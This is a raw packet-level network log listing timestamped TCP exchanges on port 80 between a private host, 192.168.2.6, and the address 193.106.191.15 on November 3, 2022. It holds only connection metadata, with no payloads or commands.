Nov 3, 2022 12:46:49.138309002 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138325930 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138329983 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.138343096 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138367891 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.138391972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138403893 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138415098 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138427019 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138436079 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.138457060 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.138478994 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138495922 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138513088 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138520002 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.138556957 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.138607979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138623953 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138659000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138675928 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138683081 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.138708115 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138722897 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.138732910 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138751030 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138767958 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138772011 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.138787031 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138803959 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138806105 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.138820887 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138839960 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138842106 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.138870955 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138907909 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138926029 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138926983 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.138997078 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.139003992 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.139022112 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.139039040 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.139050007 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.139058113 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.139080048 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.139092922 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.139105082 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.139153004 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.139173985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.139192104 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.139209032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.139211893 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.139226913 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.139245033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.139246941 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.139261961 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.139281034 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.139292955 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.139318943 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.195830107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.195898056 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.195943117 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.195966959 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.195985079 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196027040 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196031094 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.196089983 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196104050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196145058 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.196162939 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196208000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196208954 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.196248055 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196294069 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196305037 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.196336031 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196377039 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196378946 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.196419954 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196463108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196468115 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.196505070 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196553946 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196576118 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196587086 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.196621895 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196656942 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196717978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196749926 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196791887 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196800947 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.196830988 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.196835995 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196877003 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196882010 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.196918964 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196974039 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.196974039 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.196990967 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197024107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197072983 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197079897 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.197093964 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197134018 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197135925 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.197175026 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197202921 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.197216034 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197256088 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197254896 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.197298050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197335005 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.197338104 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197379112 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197421074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197428942 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.197465897 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197489023 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197509050 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.197529078 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197570086 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197580099 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.197611094 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197649002 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.197650909 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197690010 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197721958 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197762966 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197804928 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197837114 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.197837114 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.197844982 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197884083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197912931 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.197925091 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197966099 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.197971106 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.198004961 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198045015 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198048115 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.198085070 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198126078 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198127031 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.198168039 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198206902 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198216915 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.198249102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198288918 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.198291063 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198331118 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198371887 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.198388100 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198400021 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198442936 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198446035 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.198482037 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198523998 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198529005 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.198564053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198605061 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198606968 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.198646069 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198725939 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198757887 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.198765993 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198827982 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198863029 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.198868036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198939085 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.198956966 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.198992968 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199011087 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199053049 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199070930 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.199095011 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199115038 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.199136972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199179888 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199182987 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.199220896 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199263096 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199265957 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.199307919 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199348927 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199373960 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.199390888 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199430943 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199435949 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.199471951 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199513912 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199517012 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.199554920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199594975 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199599981 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.199635029 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199675083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199681044 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.199717045 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199758053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199762106 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.199799061 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199841022 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199843884 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.199881077 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199920893 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.199928045 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.199964046 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.200004101 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.200006008 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.200042963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.200083017 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.200084925 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.200124025 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.200165033 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.200165987 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.200205088 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.200244904 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.200246096 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.200287104 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.200326920 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.200329065 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.200370073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.200409889 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.200411081 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.200450897 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.200491905 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.200495005 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.200531006 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.200571060 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.257494926 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.257560968 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.257603884 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.257643938 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.257679939 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.257684946 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.257711887 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.257726908 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.257764101 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.257769108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.257808924 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.257843971 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.257850885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.257890940 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.257925034 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.257930994 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.257971048 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258008957 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.258011103 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258054018 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258096933 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258126974 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.258136988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258179903 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258182049 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.258222103 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258261919 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258266926 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.258304119 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258343935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258346081 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.258387089 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258428097 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258441925 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.258470058 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258511066 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258516073 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.258557081 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258598089 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.258599043 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258640051 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258675098 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.258681059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258721113 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258759022 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.258761883 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258800983 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258838892 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.258841991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258920908 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.258963108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259001970 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259020090 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.259042025 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259064913 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.259082079 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259121895 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259139061 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.259162903 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259202957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259208918 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.259242058 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259280920 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.259284019 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259325027 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259358883 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.259365082 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259406090 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259438992 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259443045 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.259480953 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259520054 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259520054 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.259560108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259603024 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259617090 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.259641886 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259682894 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259685040 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.259723902 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259763002 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.259763956 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259805918 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259845018 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259846926 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.259886980 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259927034 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.259943008 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.259964943 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.259968042 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260009050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260010958 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.260050058 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260091066 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260102034 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.260132074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260171890 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260174036 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.260215044 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260255098 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260258913 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.260296106 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260335922 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260340929 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.260375977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260416031 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260420084 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.260457993 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260495901 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.260497093 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260536909 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260617971 CET	80	49704	193.106.191.15	192.168.2.6
